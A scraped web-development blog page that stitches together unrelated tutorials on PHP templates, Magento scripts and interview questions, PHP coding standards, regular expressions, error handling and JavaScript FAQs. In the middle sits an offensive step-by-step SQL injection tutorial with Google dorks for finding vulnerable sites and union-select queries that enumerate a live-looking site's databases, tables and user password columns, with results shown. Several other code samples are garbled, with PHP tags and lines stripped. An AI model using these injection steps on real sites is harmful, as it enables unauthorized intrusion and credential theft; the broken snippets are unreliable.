Creating a PHP website template starting with HTML and CSS.

The actual template will be created mentioned below steps

Step 1 :

create a new folder and named folder “newwebsite”

Inside of this folder we are now going to create two new files. One is index.html and the other file is going to be named style.css

Step 2 :

Next we are going to create two more folders inside of our main folder “newwebsite”. The first folder is going to be named includes, and the second folder will be named variables.

Step 3 :

create a basic html website document

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

<meta http-equiv="content-type" content="text/html; charset=utf-8" />

<meta name="description" content="" />

<meta name="keywords" content="" />

<meta name="author" content="" />

<link rel="stylesheet" type="text/css" href="style.css" media="screen" />

<title>SMARTWEBTUTORIALS Template</title>

</head>

	<body>

		<div id="wrapper">

<div id="header">

</div> <!-- end #header -->

<div id="nav">

</div> <!-- end #nav -->

<div id="content">

</div> <!-- end #content -->

<div id="sidebar">

</div> <!-- end #sidebar -->

<div id="footer">

</div> <!-- end #footer -->

		</div> <!-- End #wrapper -->

	</body>

</html>

Step 4:

open up the style.css file and add the divs we will be using.

This is the CSS I am adding to the stylesheet:

body {
background-color:#f1f1f1;
font-family: georgia,sans-serif;
color:#333;
margin:0;
padding:0;
}

#wrapper {
width:960px;
background-color:#f8f8f8;
margin:0 auto;
border-left:1px solid #ccc;
border-right:1px solid #ccc;
}

#header {
width:960px;
height:135px;
margin:0 auto;
margin-bottom:25px;
border-bottom:1px solid #ccc;
border-top:1px solid #ccc;
}

#header h2 {
padding:10px;
}

#nav {
width:960px;
height:40px;
border-bottom:1px solid #ccc;
}

#nav a {
display:inline;
padding:10px;
text-decoration:none;
background-color:#f1f1f1;
}

#nav a:hover {
background-color:#bababa;
height:80px;
}

#content {
width:675px;
float:left;
padding:10px;
}

#sidebar {
width:200px;
float:right;
margin-bottom:25px;
}

#sidebar a {
text-decoration:none;
}

#sidebar li {
list-style:none;
}

#footer {
clear:both;
width:960px;
height:135px;
border-top:1px solid #ccc;
}

#footer p {
padding:10px;
}

Step 5:

create some more files under includes folder

header.php, nav.php, sidebar.php, footer.php

Step 6:

 

sending Magento order confirmation emails for orders placed  using order id.

<?php
require ‘app/Mage.php’;
Mage::app(‘admin’)->setUseSessionInUrl(false);
//replace your own orders numbers here:
$test_order_id = ‘100000014’;

$order = Mage::getModel(‘sales/order’)->loadByIncrementId($test_order_id);

if ($order->getId()) {
try {
$order->sendNewOrderEmail();
echo “Order $orderIncrement successfully sent\n”;
} catch (Exception $e) {
echo $e->getMessage();
}
} else {
echo “Order $orderIncrement not found\n”;
}

 

?>

If you want to protect your Magento backend against attackers, you can follow below mentioned steps to change your admin url/path.

Follow these steps to change the admin URL/path.

Step1 :

First, open the local.xml configuration file in your favorite text editor, or use the Text Editor in the cPanel File Manager. The file is usually located in the app/etc/ directory under your Magento installation. Locate the following code segment:

<admin>
<routers>
<adminhtml>
<args>
<frontName><![CDATA[admin]]></frontName>
</args>
</adminhtml>
</routers>
</admin>

 

Now, replace admin with your new admin path. This should be something personal which is hard to guess, use only letters or numbers – no special characters, then save the file.

Step 2 – Refresh Cache

The final step is to refresh your cache. Use an FTP client to delete the content of the var/cache/ directory, or use the following SSH command.

rm -rf var/cache/*

Step 3

The change is now complete and you should try to log in via the new admin url – http://domain/adminpath/, replacing ‘adminpath’ with the path you chose in the step above. If everything went fine, you should now be presented with the Admin Panel login screen at the new URL. The old admin login URL should return a 404 error message.

1. Explain Magento’s MVC architecture

First of all, what is MVC?
MVC stands for Model-View-Controller. Any application that separates it’s data access, business logicand user interface is called MVC. There can be two types of MVC: convention-based and configuration-based. Example, cakePHP is convention-based, i.e. you just need to follow the instructions of the core system to get your module ready in just few lines. Magento is configuration-based, i.e. you need to specify each and every thing to your module’s config file in order to get it work. Magento has Controller (for Routing), Block (for Business Logic), Model (for DB access, sql) and Template file (for Presentation i.e. View).

How Magento’s MVC works:
1. When you enter the URL (something like http://mysite.com/frontname/controller/method/param1/value1/param2/value2), this URL is intercepted by one PHP file called index.php which instantiates Magento application
2. Magento application instantiates Front Controller object
3. Further, front controller instantiates Router objects (specified in module’s config.xml, global tag)
4. Now, Router is responsible to “match” the frontname which is in our URL
5. If “match” is found, it sees controller name and method name in the URL, which is finally called.
6. Now depending on what is written in action name (method name), it is executed. If any models are called in it, the controller method will instantiate that model and call the method in it which is requested.
7. Then the controller action (method) instantiate the Layout object, which calls Block specified for this action (method) name (Each controller action name have block and template file associated with it, which can be found at app/design/frontend or adminhtml/namespace/module/layout/module.xml file, name of layout file (module.xml) can be found in config.xml of that module, in layout updates tag).
8. Template file (.phtml) now calls the corresponding block for any method request. So, if you write $this->methodName in .phtml file, it will check “methodName” in the block file which is associated in module.xml file.
9. Block contains PHP logic. It references Models for any data from DB.
10. If either Block, Template file or Controller need to get/set some data from/to database, they can call Model directly like Mage::getModel(‘modulename/modelname’).

More Magento Questions with answers

Q 1. What is Magento?
Ans. Magento is a feature-rich eCommerce platform built on open-source technology that provides online merchants with unprecedented flexibility and control over the look, content and functionality of their eCommerce store. Magentos intuitive administration interface features powerful marketing, search engine optimization and catalog-management tools to give merchants the power to create sites that are tailored to their unique business needs. Designed to be completely scalable and backed by Variens support network, Magento offers companies the ultimate eCommerce solution.

Q 2. What is the difference between Mage::getSingletone() andMage::getModel() in Magento
Ans. Mage::getSingletone() always finds for an existing object if not then create that a newobject but Mage::getModel() always creates a new object.

Q 3. Why Magento use EAV database model ?
Ans. In EAV database model, data are stored in different smaller tables rather than storing in asingle table.product name is stored in catalog_product_entity_varchar tableproduct id is stored in catalog_product_entity_int tableproduct price is stored in catalog_product_entity_decimal tableMagento Use EAV database model for easy upgrade and development as this model givesmore flexibility to play with data and attributes.

Q 4. How to upgrade to the latest version using Magento Connect?
Ans. Upgrading Magento to the latest version is a fairly simple task. Copy and Paste this key magento-core/Mage_All_Latest VIA Magento Connect where it states Paste extension key to install:. This will upgrade Magento to the newest version.

Q 5. Explain about the Modules of Magento?
Ans. Magento supports installation of modules through a web-based interface accessible through the administration area of a Magento installation. Modules are hosted on the Magento eCommerce website as a PEAR server. Any community member can upload a module through the website and is made available once confirmed by a member of the Magento team. Modules are installed by entering a module key, available on the module page, into the web based interface.

There are three categories of modules hosted on Magento Connect:

Core Modules
Community Modules
Commercial Modules
Core and Community modules can be installed via the administration area. Commercial module pages provide price information and a link to an external website.

Q 6. What technology used by Magento?
Ans. Magento uses PHP as a web server scripting language and the MySQL Database. The data model is based on the Entity-attribute-value model that stores data objects in tree structures, thus allowing a change to a data structure without changing the database definition.

Q 7. What is MVC structure in Magento?
Ans. The Model-View-Controller (MVC) architecture traces its
origins back to the Smalltalk Programming language and Xerox
Parc. Since then, there have been many systems that describe
their architecture as MVC. Each system is slightly
different, but all have the goal of separating data access,
business logic, and user-interface code from one another.

Q 8. What is benefit of namespace (package) in magento?
Ans. We can have more than one module with same name but they should be placed in different namespaces. All magento core modules are contained in mage namespace.
core/Mage/Catalog

and all custom modules are placed in

local/CustomModule

Q 9. How to include CMS block in template file(.phtml)?
Ans. Access block’s content from .phtml template file by :

echo $this->getLayout()->createBlock(‘cms/block’)->setBlockId(‘static_block_id’)->toHTML();

Q 10. How to add an external javascript/css file to Magento?
Ans.
css/yourstyle.css
or
skin_jsjs/ yourfile.js
skin_csscss/yourstyle. css

Q 11. What are handles in magento (layout)?
Ans. Handles are basically used for controlling the structure of the page like which block will be displayed and where. First level child elements of the node are called layout handles. Every page request can have several unique Handles. The handle is called for every page. handle for products belongs to virtual product type, PRODUCT_TYPE_simple is called for product details page of simple product type and PRODUCT_TYPE_virtual is called for the virtual product detail page and customer_logged_in handle is called only if customer is logged in. The muster_index_index handle is created by combining the frontName (muster), Action Controller (index), and Action Controller Action Method (index) into a single string and this handle will be called only when /zag/index/index url is accessed.

Q 12. What is in magento?
Ans. The routers tag allow us to decide frontname for each module. The tag is defined in config.xml file of module. For Namespace_MyModule frontname is moduleurl so the url will be like :
websiteurl.com/moduleurl/controllername/actionname

standard
Namespace_MyModule
moduleurl

Q 13. Which factors affect performance of magento?

Ans.
1. EAV structure of magento database, even for retrieving single entity the query becomes very complex .
2. Magento’s template system involves a lot of recursive rendering
3. Huge XML trees built up for layout configuration, application configuration settings

Q 14. How to improve magento performance?
Ans.

Enabled magento caching
MySQL Query caching
Enable Gzip Compression
Disable any unused modules
Disable the Magento log
Optimise your images
Combine external CSS/JS into one file
Enable Apache KeepAlives: Make sure your Apache configuration has KeepAlives enabled.

Q 15. How to get the Total Price of items currently in the Cart?
helper(‘checkout’)->formatPrice(Mage::getSingleton(‘checkout/cart’)->getQuote()->getGrandTotal()); ?>

Q 16. How to set different themes for logged in users?
if(Mage::getSingleton(‘customer/session’)->isLoggedIn()):
Mage::getDesign()->setPackageName(‘package_name’)->setTheme(‘themename’);
endif;

Q 17. How to create magento custom module?
Ans. Steps to create custom magento module:
Namespace : Zag
Module Name : Mymodule
1. Create directory Mymodule in app/code/local/Zag
2. Create Block, controllers, etc, Module directories. Create controller, block and module file as required.
3. Create module configuration file (app/code/local/Zag/Mymodule/etc/config.xml).
4. Create xml file (app/etc/modules/Zag_ Mymodule.xml)to enable/disable module and tell magento system from which code pool that module will be taken.

Q 18. How to set different themes for each store?
Ans. Go to : System>Designs
Then, add new design change or edit existing. You can select Store and Custom Design.

Q 19. How to make product’s custom attribute searchable in adavance search?
Ans. Go to : Catalog > Attribues > Manage Attribues
Edit the attribute and select “Yes” for Use in Advanced Search.

Q 20. How to fetch 5 bestsellers products programmatically?
Ans.
Mage::getResourceModel(‘reports/product_collection’)
->addOrderedQty()
->addAttributeToSelect(‘*’)
->setPage(1, 5)
->load();

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.


Key Concepts of a SQL Injection Attack

SQL injection is a software vulnerability that occurs when data entered by users is sent to the SQL interpreter as a part of an SQL query
Attackers provide specially crafted input data to the SQL interpreter and trick the interpreter to execute unintended commands
Attackers utilize this vulnerability by providing specially crafted input data to the SQL interpreter in such a manner that the interpreter is not able to distinguish between the intended commands and the attacker’s specially crafted data. The interpreter is tricked into executing unintended commands
a SQL Injection attack exploits security vulnerabilities at the database layer. By exploiting the SQL injection flaw, attackers can create, read, modify, or delete sensitive data

Step-by-Step tutorial for SQL Injection

Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every other hack attack is the most time consuming, and is the only time consuming step. Once you get through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this attack. We are providing you with a few dorks(google strings to find vulnerable sites). Though at the end of this post, we’ll provide a list of vulnerable sites.

Dorks:
“inurl:index.php?catid=”
“inurl:news.php?catid=”
“inurl:news.php?id=”
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=

and you can also write your own.

How to check if a webpage is vulnerable to this attack???
Once you execute the dorks and get the preferred search results. Say for example
hxxp://www.example.com/index.php?catid=1

Add a ‘ (apos) at the end of the URL. Such that the URL looks like
hxxp://www.example.com/index.php?catid=1’

If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.

Typical errors you’ll get after appending the apostrophe are:
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():

Step 2:Once you find a vulnerable site, you need to enumerate the number of columns and those columns that are accepting the queries from you.

Append an ‘order by’ statement to the URL.
eg. hxxp://www.example.com/index.php?catid=1 order by 1

Continue increasing the number after order by till you get an error. So the highest number for which you do not get an error is the number of columns in the table. Now to know the column numbers which are accepting the queries.

Append an ‘Union Select’ statement to the URL. Also precede the number after “id=” with a hyphen or minus.
Say from the above step, you got that the table has 6 columns.
eg. hxxp://www.example.com/index.php?catid=-1 union select 1,2,3,4,5,6

Result of this query will be the column numbers that are accepting the queries. Say we get 2,3,4 as the result. Now we’ll inject our SQL statements in one of these columns.

Step 3: Enumerating the SQL version
We’ll use the mysql command @@version or version() to get the version of the db. We have to inject the command in one of the open columns. Say we use column number 2.

eg. hxxp://www.example.com/index.php?catid=-1 union select 1,@@version,3,4,5,6

You’ll get the version of the database in the place where you had got the number 2. If the starting of the version number is 5 or more, then you are good to go. If less move on to another site.

Step 4: Expolit
To get list of databases:
hxxp://www.example.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata–

Result will display a list of databases on the site. Here on, we’ll write the results we have got from our test.
Result: information_schema,vrk_mlm

To know the current database in use:
hxxp://www.example.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6–
Result: vrk_mlm

To get the current user:
hxxp://www.example.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6–
Result: vrk_4mlm@localhost

To get the tables:
hxxp://www.example.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()–
Result: administrator,category,product,users

We’ll concentrate our attack on the users table.

To get the columns:
hxxp://www.example.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()–
Result: admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName,prodDesc,
prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by_id,
refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position,
email_id,password,edited_on,last_login,created_on,chain_number,phone,address

By lookin at the columns closely, and the order of the tables, we can conclude that starting from id,incredible_id are the columns belonging to the users table and we are interested in that.

Every company follows a different coding standard based on their best practices. Coding standard is required because there may be many developers working on different modules so if they will start inventing their own standards then source will become very un-manageable and it will become difficult to maintain that source code in future.

Here are several reasons why to use coding specifications:

Your peer programmers have to understand the code you produce. A coding standard acts as the blueprint for all the team to decipher the code.

Simplicity and clarity achieved by consistent coding saves you from common mistakes.

If you revise your code after some time then it becomes easy to understand that code.

Its industry standard to follow a particular standard to being more quality in software.

There are few guidelines which can be followed while coding in PHP.

Indenting and Line Length – Use an indent of 4 spaces and don’t use any tab because different computers use different setting for tab. It is recommended to keep lines at approximately 75-85 characters long for better code readability.

Control Structures – These include if, for, while, switch, etc. Control statements should have one space between the control keyword and opening parenthesis, to distinguish them from function calls. You are strongly encouraged to always use curly braces even in situations where they are technically optional.

Examples:

if ((condition1) || (condition2)) {
action1;
} elseif ((condition3) && (condition4)) {
action2;
} else {
default action;
}
You can writ eswitch statements as follows:

switch (condition) {
case 1:
action1;
break;

case 2:
action2;
break;

default:
defaultaction;
break;
}
Function Calls – Functions should be called with no spaces between the function name, the opening parenthesis, and the first parameter; spaces between commas and each parameter, and no space between the last parameter, the closing parenthesis, and the semicolon. Here’s an example:

$var = foo($bar, $baz, $quux);
Function Definitions – Function declarations follow the “BSD/Allman style”:

function fooFunction($arg1, $arg2 = ”)
{
if (condition) {
statement;
}
return $val;
}
Comments – C style comments (/* */) and standard C++ comments (//) are both fine. Use of Perl/shell style comments (#) is discouraged.

PHP Code Tags – Always use to delimit PHP code, not the shorthand. This is required for PHP compliance and is also the most portable way to include PHP code on differing operating systems and setups.

Variable Names –

Use all lower case letters
Use ‘_’ as the word separator.
Global variables should be prepended with a ‘g’.
Global constants should be all caps with ‘_’ separators.
Static variables may be prepended with ‘s’.
Make Functions Reentrant – Functions should not keep static variables that prevent a function from being reentrant.

Alignment of Declaration Blocks – Block of declarations should be aligned.

One Statement Per Line – There should be only one statement per line unless the statements are very closely related.

Short Methods or Functions – Methods should limit themselves to a single page of code.

There could be many more points which should be considered while writing your PHP program. Over all intension should be to be consistent throughout of the code programming and it will be possible only when you will follow any coding standard. YOu can device your own standard if you like something different.

Regular expressions are nothing more than a sequence or pattern of characters itself. They provide the foundation for pattern-matching functionality.

Using regular expression you can search a particular string inside a another string, you can replace one string by another string and you can split a string into many chunks.

PHP offers functions specific to two sets of regular expression functions, each corresponding to a certain type of regular expression. You can use any of them based on your comfort.

POSIX Regular Expressions

PERL Style Regular Expressions

POSIX Regular Expressions:

The structure of a POSIX regular expression is not dissimilar to that of a typical arithmetic expression: various elements (operators) are combined to form more complex expressions.

The simplest regular expression is one that matches a single character, such as g, inside strings such as g, haggle, or bag.

Lets give explaination for few concepts being used in POSIX regular expression. After that we will introduce you wih regular expression related functions.

Brackets

Brackets ([]) have a special meaning when used in the context of regular expressions. They are used to find a range of characters.

Expression Description
[0-9] It matches any decimal digit from 0 through 9.
[a-z] It matches any character from lowercase a through lowercase z.
[A-Z] It matches any character from uppercase A through uppercase Z.
[a-Z] It matches any character from lowercase a through uppercase Z.
The ranges shown above are general; you could also use the range [0-3] to match any decimal digit ranging from 0 through 3, or the range [b-v] to match any lowercase character ranging from b through v.

Quantifiers:

The frequency or position of bracketed character sequences and single characters can be denoted by a special character. Each pecial character having a specific connotation. The +, *, ?, {int. range}, and $ flags all follow a character sequence.

Expression Description
p+ It matches any string containing at least one p.
p* It matches any string containing zero or more p’s.
p? It matches any string containing zero or more p’s. This is just an alternative way to use p*.
p{N} It matches any string containing a sequence of N p’s
p{2,3} It matches any string containing a sequence of two or three p’s.
p{2, } It matches any string containing a sequence of at least two p’s.
p$ It matches any string with p at the end of it.
^p It matches any string with p at the beginning of it.
Examples:

Following examples will clear your concepts about matching chracters.

Expression Description
[^a-zA-Z] It matches any string not containing any of the characters ranging from a through z and A through Z.
p.p It matches any string containing p, followed by any character, in turn followed by another p.
^.{2}$ It matches any string containing exactly two characters.
(.*) It matches any string enclosed within and .
p(hp)* It matches any string containing a p followed by zero or more instances of the sequence hp.
Predefined Character Ranges

For your programming convenience several predefined character ranges, also known as character classes, are available. Character classes specify an entire range of characters, for example, the alphabet or an integer set:

Expression Description
[[:alpha:]] It matches any string containing alphabetic characters aA through zZ.
[[:digit:]] It matches any string containing numerical digits 0 through 9.
[[:alnum:]] It matches any string containing alphanumeric characters aA through zZ and 0 through 9.
[[:space:]] It matches any string containing a space.
PHP’s Regexp POSIX Functions

PHP currently offers seven functions for searching strings using POSIX-style regular expressions:

Function Description
ereg() The ereg() function searches a string specified by string for a string specified by pattern, returning true if the pattern is found, and false otherwise.
ereg_replace() The ereg_replace() function searches for string specified by pattern and replaces pattern with replacement if found.
eregi() The eregi() function searches throughout a string specified by pattern for a string specified by string. The search is not case sensitive.
eregi_replace() The eregi_replace() function operates exactly like ereg_replace(), except that the search for pattern in string is not case sensitive.
split() The split() function will divide a string into various elements, the boundaries of each element based on the occurrence of pattern in string.
spliti() The spliti() function operates exactly in the same manner as its sibling split(), except that it is not case sensitive.
sql_regcase() The sql_regcase() function can be thought of as a utility function, converting each character in the input parameter string into a bracketed expression containing two characters.
PERL Style Regular Expressions:

Perl-style regular expressions are similar to their POSIX counterparts. The POSIX syntax can be used almost interchangeably with the Perl-style regular expression functions. In fact, you can use any of the quantifiers introduced in the previous POSIX section.

Lets give explaination for few concepts being used in PERL regular expressions. After that we will introduce you wih regular expression related functions.

Metacharacters

A metacharacter is simply an alphabetical character preceded by a backslash that acts to give the combination a special meaning.

For instance, you can search for large money sums using the ‘\d’ metacharacter: /([\d]+)000/, Here \d will search for any string of numerical character.

Following is the list of metacharacters which can be used in PERL Style Regular Expressions.

Character Description
. a single character
\s a whitespace character (space, tab, newline)
\S non-whitespace character
\d a digit (0-9)
\D a non-digit
\w a word character (a-z, A-Z, 0-9, _)
\W a non-word character
[aeiou] matches a single character in the given set
[^aeiou] matches a single character outside the given set
(foo|bar|baz) matches any of the alternatives specified
Modifiers

Several modifiers are available that can make your work with regexps much easier, like case sensitivity, searching in multiple lines etc.

Modifier Description
i Makes the match case insensitive
m Specifies that if the string has newline or carriage
return characters, the ^ and $ operators will now
match against a newline boundary, instead of a
string boundary
o Evaluates the expression only once
s Allows use of . to match a newline character
x Allows you to use white space in the expression for clarity
g Globally finds all matches
cg Allows a search to continue even after a global match fails
PHP’s Regexp PERL Compatible Functions

PHP offers following functions for searching strings using Perl-compatible regular expressions:

Function Description
preg_match() The preg_match() function searches string for pattern, returning true if pattern exists, and false otherwise.
preg_match_all() The preg_match_all() function matches all occurrences of pattern in string.
preg_replace() The preg_replace() function operates just like ereg_replace(), except that regular expressions can be used in the pattern and replacement input parameters.
preg_split() The preg_split() function operates exactly like split(), except that regular expressions are accepted as input parameters for pattern.
preg_grep() The preg_grep() function searches all elements of input_array, returning all elements matching the regexp pattern.
preg_ quote() Quote regular expression characters

PHP Error Handling :

Error handling is the process of catching errors raised by your program and then taking appropriate action. If you would handle errors properly then it may lead to many unforeseen consequences.

Its very simple in PHP to handle an errors.

Using die() function:

While wirting your PHP program you should check all possible error condition before going ahead and take appropriate action when required.

Try following example without having /tmp/test.xt file and with this file.


This way you can write an efficient code. Using abive technique you can stop your program whenever it errors out and display more meaningful and user friendly meassage.

Defining Custom Error Handling Function:

You can write your own function to handling any error. PHP provides you a framwork to define error handling function.

This function must be able to handle a minimum of two parameters (error level and error message) but can accept up to five parameters (optionally: file, line-number, and the error context):

Syntax

error_function(error_level,error_message, error_file,error_line,error_context);

Parameter Description
error_level Required – Specifies the error report level for the user-defined error. Must be a value number.
error_message Required – Specifies the error message for the user-defined error
error_file Optional – Specifies the filename in which the error occurred
error_line Optional – Specifies the line number in which the error occurred
error_context Optional – Specifies an array containing every variable and their values in use when the error occurred
Possible Error levels

These error report levels are the different types of error the user-defined error handler can be used for. These values cab used in combination using | operator

Value Constant Description
1 E_ERROR Fatal run-time errors. Execution of the script is halted
2 E_WARNING Non-fatal run-time errors. Execution of the script is not halted
4 E_PARSE Compile-time parse errors. Parse errors should only be generated by the parser.
8 E_NOTICE Run-time notices. The script found something that might be an error, but could also happen when running a script normally
16 E_CORE_ERROR Fatal errors that occur during PHP’s initial startup.
32 E_CORE_WARNING Non-fatal run-time errors. This occurs during PHP’s initial startup.
256 E_USER_ERROR Fatal user-generated error. This is like an E_ERROR set by the programmer using the PHP function trigger_error()
512 E_USER_WARNING Non-fatal user-generated warning. This is like an E_WARNING set by the programmer using the PHP function trigger_error()
1024 E_USER_NOTICE User-generated notice. This is like an E_NOTICE set by the programmer using the PHP function trigger_error()
2048 E_STRICT Run-time notices. Enable to have PHP suggest changes to your code which will ensure the best interoperability and forward compatibility of your code.
4096 E_RECOVERABLE_ERROR Catchable fatal error. This is like an E_ERROR but can be caught by a user defined handle (see also set_error_handler())
8191 E_ALL All errors and warnings, except level E_STRICT (E_STRICT will be part of E_ALL as of PHP 6.0)
All the above error level can be set using following PHP built-in library function where level cab be any of the value defined in above table.

int error_reporting ( [int $level] )
Following is the way you can create one error handling function:

Error: [$errno] $errstr – $error_file:$error_line”;
echo “
“;
echo “Terminating PHP Script”;
die();
}
?>
Once you define your custom error handler you need to set it using PHP built-in library set_error_handler function. Now lets examine our example by calling a function which does not exist.

Error: [$errno] $errstr – $error_file:$error_line”;
echo “
“;
echo “Terminating PHP Script”;
die();
}
//set error handler
set_error_handler(“handleError”);

//trigger error
myFunction();
?>
Exceptions Handling:

PHP 5 has an exception model similar to that of other programming languages. Exceptions are important and provides a better control over error handling.

Lets explain thre new keyword related to exceptions.

Try – A function using an exception should be in a “try” block. If the exception does not trigger, the code will continue as normal. However if the exception triggers, an exception is “thrown”.

Throw – This is how you trigger an exception. Each “throw” must have at least one “catch”.

Catch – – A “catch” block retrieves an exception and creates an object containing the exception information.

When an exception is thrown, code following the statement will not be executed, and PHP will attempt to find the first matching catch block. If an exception is not caught, a PHP Fatal Error will be issued with an “Uncaught Exception …

An exception can be thrown, and caught (“catched”) within PHP. Code may be surrounded in a try block.

Each try must have at least one corresponding catch block. Multiple catch blocks can be used to catch different classes of exeptions.

Exceptions can be thrown (or re-thrown) within a catch block.

Example:

Following is the piece of code, copy and paste this code into a file and verify the result.

getMessage(), “\n”;
}

// Continue execution
echo ‘Hello World’;
?>
In the above example $e->getMessage function is uded to get error message. There are following functions which can be used from Exception class.

getMessage()- message of exception

getCode() – code of exception

getFile() – source filename

getLine() – source line

getTrace() – n array of the backtrace()

getTraceAsString() – formated string of trace

Creating Custom Exception Handler:

You can define your own custome excpetion handler. Use following function to set a user-defined exception handler function.

string set_exception_handler ( callback $exception_handler )
Here exception_handler is the name of the function to be called when an uncaught exception occurs. This function must be defined before calling set_exception_handler().

Example:

getMessage(), “\n”;
}

set_exception_handler(‘exception_handler’);

throw new Exception(‘Uncaught Exception’);

echo “Not Executed\n”;
?>

What is JavaScript?
A1: JavaScript is a general-purpose programming language designed to let programmers of all skill levels control the behavior of software objects. The language is used most widely today in Web browsers whose software objects tend to represent a variety of HTML elements in a document and the document itself. But the language can be–and is–used with other kinds of objects in other environments. For example, Adobe Acrobat Forms uses JavaScript as its underlying scripting language to glue together objects that are unique to the forms generated by Adobe Acrobat. Therefore, it is important to distinguish JavaScript, the language, from the objects it can communicate with in any particular environment. When used for Web documents, the scripts go directly inside the HTML documents and are downloaded to the browser with the rest of the HTML tags and content.

A2:JavaScript is a platform-independent,event-driven, interpreted client-side scripting and programming language developed by Netscape Communications Corp. and Sun Microsystems.

How is JavaScript different from Java?
JavaScript was developed by Brendan Eich of Netscape; Java was developed at Sun Microsystems. While the two languages share some common syntax, they were developed independently of each other and for different audiences. Java is a full-fledged programming language tailored for network computing; it includes hundreds of its own objects, including objects for creating user interfaces that appear in Java applets (in Web browsers) or standalone Java applications. In contrast, JavaScript relies on whatever environment it’s operating in for the user interface, such as a Web document’s form elements.
JavaScript was initially called LiveScript at Netscape while it was under development. A licensing deal between Netscape and Sun at the last minute let Netscape plug the “Java” name into the name of its scripting language. Programmers use entirely different tools for Java and JavaScript. It is also not uncommon for a programmer of one language to be ignorant of the other. The two languages don’t rely on each other and are intended for different purposes. In some ways, the “Java” name on JavaScript has confused the world’s understanding of the differences between the two. On the other hand, JavaScript is much easier to learn than Java and can offer a gentle introduction for newcomers who want to graduate to Java and the kinds of applications you can develop with it.

What’s relationship between JavaScript and ECMAScript?
ECMAScript is yet another name for JavaScript (other names include LiveScript). The current JavaScript that you see supported in browsers is ECMAScript revision 3.
How do you submit a form using Javascript?
Use document.forms[0].submit();
(0 refers to the index of the form – if you have more than one form in a page, then the first one has the index 0, second has index 1 and so on).

How do we get JavaScript onto a web page?
You can use several different methods of placing javascript in you pages.
You can directly add a script element inside the body of page.
1. For example, to add the “last updated line” to your pages, In your page text, add the following:

blah, blah, blah, blah, blah.

yada, yada, yada.

(Note: the first comment, “<--" hides the content of the script from browsers that don't understand javascript. The "// -->” finishes the comment. The “//” tells javascript that this is a comment so javascript doesn’t try to interpret the “–>”. If your audience has much older browsers, you should put this comments inside your javascript. If most of your audience has newer browsers, the comments can be omitted. For brevity, in most examples here the comments are not shown. )
The above code will look like this on Javascript enabled browsers,
2. Javascript can be placed inside the element
Functions and global variables typically reside inside the element.

Default Test Page

Javascript can be referenced from a separate file
Javascript may also a placed in a separate file on the server and referenced from an HTML page. (Don’t use the shorthand ending “

How to read and write a file using javascript?
I/O operations like reading or writing a file is not possible with client-side javascript. However , this can be done by coding a Java applet that reads files for the script.

How to detect the operating system on the client machine?
In order to detect the operating system on the client machine, the navigator.appVersion
string (property) should be used.

How can JavaScript make a Web site easier to use? That is, are there certain JavaScript techniques that make it easier for people to use a Web site?
JavaScript's greatest potential gift to a Web site is that scripts can make the page more immediately interactive, that is, interactive without having to submit every little thing to the server for a server program to re-render the page and send it back to the client. For example, consider a top-level navigation panel that has, say, six primary image map links into subsections of the Web site. With only a little bit of scripting, each map area can be instructed to pop up a more detailed list of links to the contents within a subsection whenever the user rolls the cursor atop a map area. With the help of that popup list of links, the user with a scriptable browser can bypass one intermediate menu page. The user without a scriptable browser (or who has disabled JavaScript) will have to drill down through a more traditional and time-consuming path to the desired content.

What are JavaScript types?
Number, String, Boolean, Function, Object, Null, Undefined.

How do you convert numbers between different bases in JavaScript?
Use the parseInt() function, that takes a string as the first parameter, and the base as a second parameter. So to convert hexadecimal 3F to decimal, use parseInt ("3F", 16);

How to create arrays in JavaScript?
We can declare an array like this
var scripts = new Array();
We can add elements to this array like this

scripts[0] = "PHP";
scripts[1] = "ASP";
scripts[2] = "JavaScript";
scripts[3] = "HTML";

Now our array scrips has 4 elements inside it and we can print or access them by using their index number. Note that index number starts from 0. To get the third element of the array we have to use the index number 2 . Here is the way to get the third element of an array.
document.write(scripts[2]);
We also can create an array like this
var no_array = new Array(21, 22, 23, 24, 25);

How do you target a specific frame from a hyperlink?
Include the name of the frame in the target attribute of the hyperlink. >My Page

What is a fixed-width table and its advantages?

Fixed width tables are rendered by the browser based on the widths of the columns in the first row, resulting in a faster display in case of large tables. Use the CSS style table-layout:fixed to specify a fixed width table.
If the table is not specified to be of fixed width, the browser has to wait till all data is downloaded and then infer the best width for each of the columns. This process can be very slow for large tables.

Example of using Regular Expressions for syntax checking in JavaScript

...
var re = new RegExp("^(&[A-Za-z_0-9]{1,}=[A-Za-z_0-9]{1,})*$");
var text = myWidget.value;
var OK = re.test(text);
if( ! OK ) {
alert("The extra parameters need some work.\r\n Should be something like: \"&a=1&c=4\"");
}

